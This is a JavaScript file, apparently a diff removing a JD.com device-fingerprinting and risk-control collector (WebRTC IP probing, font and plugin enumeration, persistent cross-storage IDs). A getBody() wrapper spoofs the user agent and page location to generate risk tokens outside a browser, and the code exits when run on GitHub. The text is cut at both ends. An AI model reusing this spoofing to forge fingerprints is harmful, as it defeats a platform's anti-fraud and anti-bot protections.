9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" - .split(" ") - .map(function (v) { - return parseInt(v, 16); - }); - } - - mac(v) { - for (var x = -1, w = 0, A = v.length; w < A; w++) - x = (x >>> 8) ^ t[(x ^ v.charCodeAt(w)) & 255]; - return (x ^ -1) >>> 0; - } -} - -var _CurrentPageProtocol = - "https:" == document.location.protocol ? "https://" : "http://", - _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", - _url_query_str = "", - _root_domain = "", - _CurrentPageUrl = (function () { - var t = document.location.href.toString(); - try { - _root_domain = - /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec( - t - )[1]; - } catch (v) {} - var u = t.indexOf("?"); - 0 < u && - ((_url_query_str = t.substring(u + 1)), - 500 < _url_query_str.length && - (_url_query_str = _url_query_str.substring(0, 499)), - (t = t.substring(0, u))); - return (t = t.substring(_CurrentPageProtocol.length)); - })(), - jd_shadow__ = (function () { - try { - var t = JDDSecCryptoJS, - u = []; - u.push(_CurrentPageUrl); - var v = t.lib.UUID.generateUuid(); - u.push(v); - var x = new Date().getTime(); - u.push(x); - var w = t.SHA1(u.join("")).toString().toUpperCase(); - u = []; - u.push("JD3"); - u.push(w); - var A = new JDDMAC().mac(u.join("")); - u.push(A); - var y = t.enc.Hex.parse("30313233343536373839616263646566"), - n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), - e = u.join(""); - return t.AES.encrypt(t.enc.Utf8.parse(e), n, { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: y, - }).ciphertext.toString(t.enc.Base32); - } catch (f) { - console.log(f); - } - })(); -var td_collect = new (function () { - function t() { - var n = - window.webkitRTCPeerConnection || - window.mozRTCPeerConnection || - window.RTCPeerConnection; - if (n) { - var e = function (k) { - var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, - m = - /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; - try { - var a = g.exec(k); - if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); - var b = a[1]; - void 0 === f[b] && w.push(b); - f[b] = !0; - } catch (c) {} - }, - f = {}; - try { - var r = new n({ - iceServers: [ - { - url: "stun:stun.services.mozilla.com", - }, - ], - }); - } catch (k) {} - try { - void 0 === r && - (r = new n({ - iceServers: [], - })); - } catch (k) {} - if (r || window.mozRTCPeerConnection) - try { - r.createDataChannel("chat", { - reliable: !1, - }); - } catch (k) {} - r && - ((r.onicecandidate = function (k) { - k.candidate && e(k.candidate.candidate); - }), - r.createOffer( - function (k) { - r.setLocalDescription( - k, - function () {}, - function () {} - ); - }, - function () {} - ), - setTimeout(function () { - try { - r.localDescription.sdp.split("\n").forEach(function (k) { - 0 === k.indexOf("a=candidate:") && e(k); - }); - } catch (k) {} - }, 800)); - } - } - - function u(n) { - var e; - return (e = document.cookie.match( - new RegExp("(^| )" + n + "=([^;]*)(;|$)") - )) - ? e[2] - : ""; - } - - function v() { - function n(g) { - var m = {}; - r.style.fontFamily = g; - document.body.appendChild(r); - m.height = r.offsetHeight; - m.width = r.offsetWidth; - document.body.removeChild(r); - return m; - } - - var e = ["monospace", "sans-serif", "serif"], - f = [], - r = document.createElement("span"); - r.style.fontSize = "72px"; - r.style.visibility = "hidden"; - r.innerHTML = "mmmmmmmmmmlli"; - for (var k = 0; k < e.length; k++) f[k] = n(e[k]); - this.checkSupportFont = function (g) { - for (var m = 0; m < f.length; m++) { - var a = n(g + "," + e[m]), - b = f[m]; - if (a.height !== b.height || a.width !== b.width) return !0; - } - return !1; - }; - } - - function x(n) { - var e = {}; - e.name = n.name; - e.filename = n.filename.toLowerCase(); - e.description = n.description; - void 0 !== n.version && (e.version = n.version); - e.mimeTypes = []; - for (var f = 0; f < n.length; f++) { - var r = n[f], - k = {}; - k.description = r.description; - k.suffixes = r.suffixes; - k.type = r.type; - e.mimeTypes.push(k); - } - return e; - } - - this.bizId = ""; - this.bioConfig = { - type: "42", - operation: 1, - duraTime: 2, - interval: 50, - }; - this.worder = null; - this.deviceInfo = { - userAgent: "", - isJdApp: !1, - isJrApp: !1, - sdkToken: "", - fp: "", - eid: "", - }; - this.isRpTok = !1; - this.obtainLocal = function (n) { - n = "undefined" !== typeof n && n ? !0 : !1; - var e = {}; - try { - var f = document.cookie.replace( - /(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, - "$1" - ); - 0 !== f.length && (e.cookie = f); - } catch (k) {} - try { - window.localStorage && - null !== window.localStorage && - 0 !== window.localStorage.length && - (e.localStorage = window.localStorage.getItem("3AB9D23F7A4B3C9B")); - } catch (k) {} - try { - window.sessionStorage && - null !== window.sessionStorage && - (e.sessionStorage = window.sessionStorage["3AB9D23F7A4B3C9B"]); - } catch (k) {} - try { - p.globalStorage && - (e.globalStorage = - window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]); - } catch (k) {} - try { - d && - "function" == typeof d.load && - "function" == typeof d.getAttribute && - (d.load("jdgia_user_data"), - (e.userData = d.getAttribute("3AB9D23F7A4B3C9B"))); - } catch (k) {} - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId); - } catch (k) {} - try { - E.webDbId && (e.webDb = E.webDbId); - } catch (k) {} - try { - for (var r in e) - if (32 < e[r].length) { - _JdEid = e[r]; - n || (_eidFlag = !0); - break; - } - } catch (k) {} - try { - ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && - this.db("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) - _JdEid = u("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0; - } catch (k) {} - return _JdEid; - }; - var w = [], - A = - "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin".split( - ";" - ), - y = - "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako".split( - ";" - ); - this.toJson = "object" === typeof JSON && JSON.stringify; - this.init = function () { - _fingerprint_step = 6; - t(); - _fingerprint_step = 7; - "function" !== typeof this.toJson && - (this.toJson = function (n) { - var e = typeof n; - if ("undefined" === e || null === n) return "null"; - if ("number" === e || "boolean" === e) return n + ""; - if ("object" === e && n && n.constructor === Array) { - e = []; - for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); - return "[" + (e + "]"); - } - if ("object" === e) { - e = []; - for (f in n) - n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); - return "{" + (e + "}"); - } - }); - this.sdkCollectInit(); - }; - this.sdkCollectInit = function () { - try { - try { - bp_bizid && (this.bizId = bp_bizid); - } catch (f) { - this.bizId = "jsDefault"; - } - var n = navigator.userAgent.toLowerCase(), - e = - !n.match(/(iphone|ipad|ipod)/i) && - (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); - this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); - this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); - this.deviceInfo.userAgent = navigator.userAgent; - this.deviceInfo.isAndroid = e; - this.createWorker(); - } catch (f) {} - }; - this.db = function (n, e) { - try { - _fingerprint_step = "m"; - if (window.openDatabase) { - var f = window.openDatabase( - "sqlite_jdtdstorage", - "", - "jdtdstorage", - 1048576 - ); - void 0 !== e && "" != e - ? f.transaction(function (r) { - r.executeSql( - "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", - [], - function (k, g) {}, - function (k, g) {} - ); - r.executeSql( - "INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", - [n, e], - function (k, g) {}, - function (k, g) {} - ); - }) - : f.transaction(function (r) { - r.executeSql( - "SELECT value FROM cache WHERE name=?", - [n], - function (k, g) { - 1 <= g.rows.length && (_JdEid = g.rows.item(0).value); - }, - function (k, g) {} - ); - }); - } - _fingerprint_step = "n"; - } catch (r) {} - }; - this.setCookie = function (n, e) { - void 0 !== e && - "" != e && - (document.cookie = - n + - "=" + - e + - "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + - _root_domain); - }; - this.tdencrypt = function (n) { - n = this.toJson(n); - n = encodeURIComponent(n); - var e = "", - f = 0; - do { - var r = n.charCodeAt(f++); - var k = n.charCodeAt(f++); - var g = n.charCodeAt(f++); - var m = r >> 2; - r = ((r & 3) << 4) | (k >> 4); - var a = ((k & 15) << 2) | (g >> 6); - var b = g & 63; - isNaN(k) ? (a = b = 64) : isNaN(g) && (b = 64); - e = - e + - "23IL k; k++) - (C = q[k]), void 0 !== screen[C] && (z[C] = screen[C]); - q = ["devicePixelRatio", "screenTop", "screenLeft"]; - l = {}; - for (k = 0; q.length > k; k++) - (C = q[k]), void 0 !== window[C] && (l[C] = window[C]); - e.p = h; - e.w = l; - e.s = z; - e.sc = f; - e.tz = n.getTimezoneOffset(); - e.lil = w.sort().join("|"); - e.wil = ""; - f = {}; - try { - (f.cookie = navigator.cookieEnabled), - (f.localStorage = !!window.localStorage), - (f.sessionStorage = !!window.sessionStorage), - (f.globalStorage = !!window.globalStorage), - (f.indexedDB = !!window.indexedDB); - } catch (D) {} - e.ss = f; - e.ts.deviceTime = n.getTime(); - e.ts.deviceEndTime = new Date().getTime(); - return this.tdencrypt(e); - }; - this.collectSdk = function (n) { - try { - var e = this, - f = !1, - r = e.getLocal("BATQW722QTLYVCRD"); - if (null != r && void 0 != r && "" != r) - try { - var k = JSON.parse(r), - g = new Date().getTime(); - null != k && - void 0 != k.t && - "number" == typeof k.t && - (12e5 >= g - k.t && - void 0 != k.tk && - null != k.tk && - "" != k.tk && - k.tk.startsWith("jdd") - ? ((e.deviceInfo.sdkToken = k.tk), (f = !0)) - : void 0 != k.tk && - null != k.tk && - "" != k.tk && - (e.deviceInfo.sdkToken = k.tk)); - } catch (m) {} - r = !1; - e.deviceInfo.isJdApp - ? ((e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2]), - (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, "7.0.2")) && - !f && - e.getJdSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - (null != m && "" != m && m.startsWith("jdd")) || - e.getJdBioToken(n); - })) - : e.deviceInfo.isJrApp && - ((e.deviceInfo.clientVersion = navigator.userAgent.match( - /clientVersion=([^&]*)(&|$)/ - )[1]), - (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, "4.6.0")) && - !f && - e.getJdJrSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - (null != m && "" != m && m.startsWith("jdd")) || - e.getJdJrBioToken(n); - })); - "function" == typeof n && n(e.deviceInfo); - } catch (m) {} - }; - this.compareVersion = function (n, e) { - try { - if (n === e) return 0; - var f = n.split("."); - var r = e.split("."); - for (n = 0; n < f.length; n++) { - var k = parseInt(f[n]); - if (!r[n]) return 1; - var g = parseInt(r[n]); - if (k < g) break; - if (k > g) return 1; - } - } catch (m) {} - return -1; - }; - this.isWKWebView = function () { - return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || - 1 == window._is_jdsh_wkwebview - ? !0 - : !1; - }; - this.getErrorToken = function (n) { - try { - if (n) { - var e = (n + "").match(/"token":"(.*?)"/); - if (e && 1 < e.length) return e[1]; - } - } catch (f) {} - return ""; - }; - this.getJdJrBioToken = function (n) { - var e = this; - "undefined" != typeof JrBridge && - null != JrBridge && - "undefined" != typeof JrBridge._version && - (0 > e.compareVersion(JrBridge._version, "2.0.0") - ? console.error( - "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio" - ) - : JrBridge.callNative( - { - type: e.bioConfig.type, - operation: e.bioConfig.operation, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - function (f) { - try { - "object" != typeof f && (f = JSON.parse(f)), - (e.deviceInfo.sdkToken = f.token); - } catch (r) { - console.error(r); - } - null != e.deviceInfo.sdkToken && - "" != e.deviceInfo.sdkToken && - ((f = { - tk: e.deviceInfo.sdkToken, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f))); - } - )); - }; - this.getJdJrSdkCacheToken = function (n) { - var e = this; - try { - "undefined" == typeof JrBridge || - null == JrBridge || - "undefined" == typeof JrBridge._version || - 0 > e.compareVersion(JrBridge._version, "2.0.0") || - JrBridge.callNative( - { - type: e.bioConfig.type, - operation: 5, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - function (f) { - var r = ""; - try { - "object" != typeof f && (f = JSON.parse(f)), (r = f.token); - } catch (k) { - console.error(k); - } - null != r && - "" != r && - "function" == typeof n && - (n(r), - r.startsWith("jdd") && - ((f = { - tk: r, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f)))); - } - ); - } catch (f) {} - }; - this.getJdBioToken = function (n) { - var e = this; - n = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: e.bioConfig.operation, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - }, - }); - e.isWKWebView() - ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: n, - }) - : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); - window._bioDeviceCb = function (f) { - try { - var r = "object" == typeof f ? f : JSON.parse(f); - if (void 0 != r && null != r && "0" != r.status) return; - null != r.data.token && - void 0 != r.data.token && - "" != r.data.token && - (e.deviceInfo.sdkToken = r.data.token); - } catch (k) { - (f = e.getErrorToken(f)), - null != f && "" != f && (e.deviceInfo.sdkToken = f); - } - null != e.deviceInfo.sdkToken && - "" != e.deviceInfo.sdkToken && - ((f = { - tk: e.deviceInfo.sdkToken, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f))); - }; - }; - this.getJdSdkCacheToken = function (n) { - try { - var e = this, - f = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceSdkCacheCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: 5, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - }, - }); - e.isWKWebView() - ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: f, - }) - : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); - window._bioDeviceSdkCacheCb = function (r) { - var k = ""; - try { - var g = "object" == typeof r ? r : JSON.parse(r); - if (void 0 != g && null != g && "0" != g.status) return; - k = g.data.token; - } catch (m) { - k = e.getErrorToken(r); - } - null != k && - "" != k && - "function" == typeof n && - (n(k), - k.startsWith("jdd") && - ((r = { - tk: k, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(r)))); - }; - } catch (r) {} - }; - this.store = function (n, e) { - try { - this.setCookie(n, e); - } catch (f) {} - try { - window.localStorage && window.localStorage.setItem(n, e); - } catch (f) {} - try { - window.sessionStorage && window.sessionStorage.setItem(n, e); - } catch (f) {} - try { - window.globalStorage && - window.globalStorage[".localdomain"].setItem(n, e); - } catch (f) {} - try { - this.db(n, _JdEid); - } catch (f) {} - }; - this.getLocal = function (n) { - var e = {}, - f = null; - try { - var r = document.cookie.replace( - new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), - "$1" - ); - 0 !== r.length && (e.cookie = r); - } catch (g) {} - try { - window.localStorage && - null !== window.localStorage && - 0 !== window.localStorage.length && - (e.localStorage = window.localStorage.getItem(n)); - } catch (g) {} - try { - window.sessionStorage && - null !== window.sessionStorage && - (e.sessionStorage = window.sessionStorage[n]); - } catch (g) {} - try { - p.globalStorage && - (e.globalStorage = window.globalStorage[".localdomain"][n]); - } catch (g) {} - try { - d && - "function" == typeof d.load && - "function" == typeof d.getAttribute && - (d.load("jdgia_user_data"), (e.userData = d.getAttribute(n))); - } catch (g) {} - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId); - } catch (g) {} - try { - E.webDbId && (e.webDb = E.webDbId); - } catch (g) {} - try { - for (var k in e) - if (32 < e[k].length) { - f = e[k]; - break; - } - } catch (g) {} - try { - if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n); - } catch (g) {} - return f; - }; - this.createWorker = function () { - if (window.Worker) { - try { - var n = new Blob( - [ - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};", - ], - { - type: "application/javascript", - } - ); - } catch (e) { - (window.BlobBuilder = - window.BlobBuilder || - window.WebKitBlobBuilder || - window.MozBlobBuilder), - (n = new BlobBuilder()), - n.append( - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" - ), - (n = n.getBlob()); - } - try { - this.worker = new Worker(URL.createObjectURL(n)); - } catch (e) {} - } - }; - this.reportWorker = function (n, e, f, r) { - try { - null != this.worker && - (this.worker.postMessage( - JSON.stringify({ - url: n, - data: e, - success: !1, - async: !1, - }) - ), - (this.worker.onmessage = function (k) {})); - } catch (k) {} - }; -})(); - -function td_collect_exe() { - _fingerprint_step = 8; - var t = td_collect.collect(); - td_collect.collectSdk(); - var u = "string" === typeof orderId ? orderId : "", - v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; - u = { - pin: _jdJrTdCommonsObtainPin(v), - oid: u, - p: "https:" == document.location.protocol ? "s" : "h", - fp: risk_jd_local_fingerprint, - ctype: v, - v: "2.7.10.4", - f: "3", - }; - try { - (u.o = _CurrentPageUrl), (u.qs = _url_query_str); - } catch (w) {} - _fingerprint_step = 9; - 0 >= _JdEid.length && - ((_JdEid = td_collect.obtainLocal()), 0 < _JdEid.length && (_eidFlag = !0)); - u.fc = _JdEid; - try { - u.t = jd_risk_token_id; - } catch (w) {} - try { - if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) - u.qi = gia_fp_qd_uuid; - else { - var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); - u.qi = void 0 == x ? "" : x; - } - } catch (w) {} - "undefined" != typeof jd_shadow__ && - 0 < jd_shadow__.length && - (u.jtb = jd_shadow__); - try { - td_collect.deviceInfo && - void 0 != td_collect.deviceInfo && - null != td_collect.deviceInfo.sdkToken && - "" != td_collect.deviceInfo.sdkToken - ? ((u.stk = td_collect.deviceInfo.sdkToken), (td_collect.isRpTok = !0)) - : (td_collect.isRpTok = !1); - } catch (w) { - td_collect.isRpTok = !1; - } - x = td_collect.tdencrypt(u); - // console.log(u) - return { a: x, d: t }; -} - -function _jdJrTdCommonsObtainPin(t) { - var u = ""; - "string" === typeof jd_jr_td_risk_pin && 1 == t - ? (u = jd_jr_td_risk_pin) - : "string" === typeof pin - ? (u = pin) - : "object" === typeof pin && - "string" === typeof jd_jr_td_risk_pin && - (u = jd_jr_td_risk_pin); - return u; -} - -function getBody(userAgent, url = document.location.href) { - navigator.userAgent = userAgent; - let href = url; - let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url); - let [, origin, protocol, host, pathname] = choose; - document.location.href = href; - document.location.origin = origin; - document.location.protocol = protocol; - document.location.host = host; - document.location.pathname = pathname; - const JF = new JdJrTdRiskFinger(); - let fp = JF.f.get(function (t) { - risk_jd_local_fingerprint = t; - return t; - }); - let arr = td_collect_exe(); - return { fp, ...arr }; -} - -function Env(t, e) { - "undefined" != typeof process && - JSON.stringify(process.env).indexOf("GITHUB") > -1 && - process.exit(0); - - class s { - constructor(t) { - this.env = t; - } - - send(t, e = "GET") { - t = "string" == typeof t ? { url: t } : t; - let s = this.get; - return ( - "POST" === e && (s = this.post), - new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s); - }); - }) - ); - } - - get(t) { - return this.send.call(this.env, t); - } - - post(t) { - return this.send.call(this.env, t, "POST"); - } - } - - return new (class { - constructor(t, e) { - (this.name = t), - (this.http = new s(this)), - (this.data = null), - (this.dataFile = "box.dat"), - (this.logs = []), - (this.isMute = !1), - (this.isNeedRewrite = !1), - (this.logSeparator = "\n"), - (this.startTime = new Date().getTime()), - Object.assign(this, e), - this.log("", `🔔${this.name}, 开始!`); - } - - isNode() { - return "undefined" != typeof module && !!module.exports; - } - - isQuanX() { - return "undefined" != typeof $task; - } - - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon; - } - - isLoon() { - return "undefined" != typeof $loon; - } - - toObj(t, e = null) { - try { - return JSON.parse(t); - } 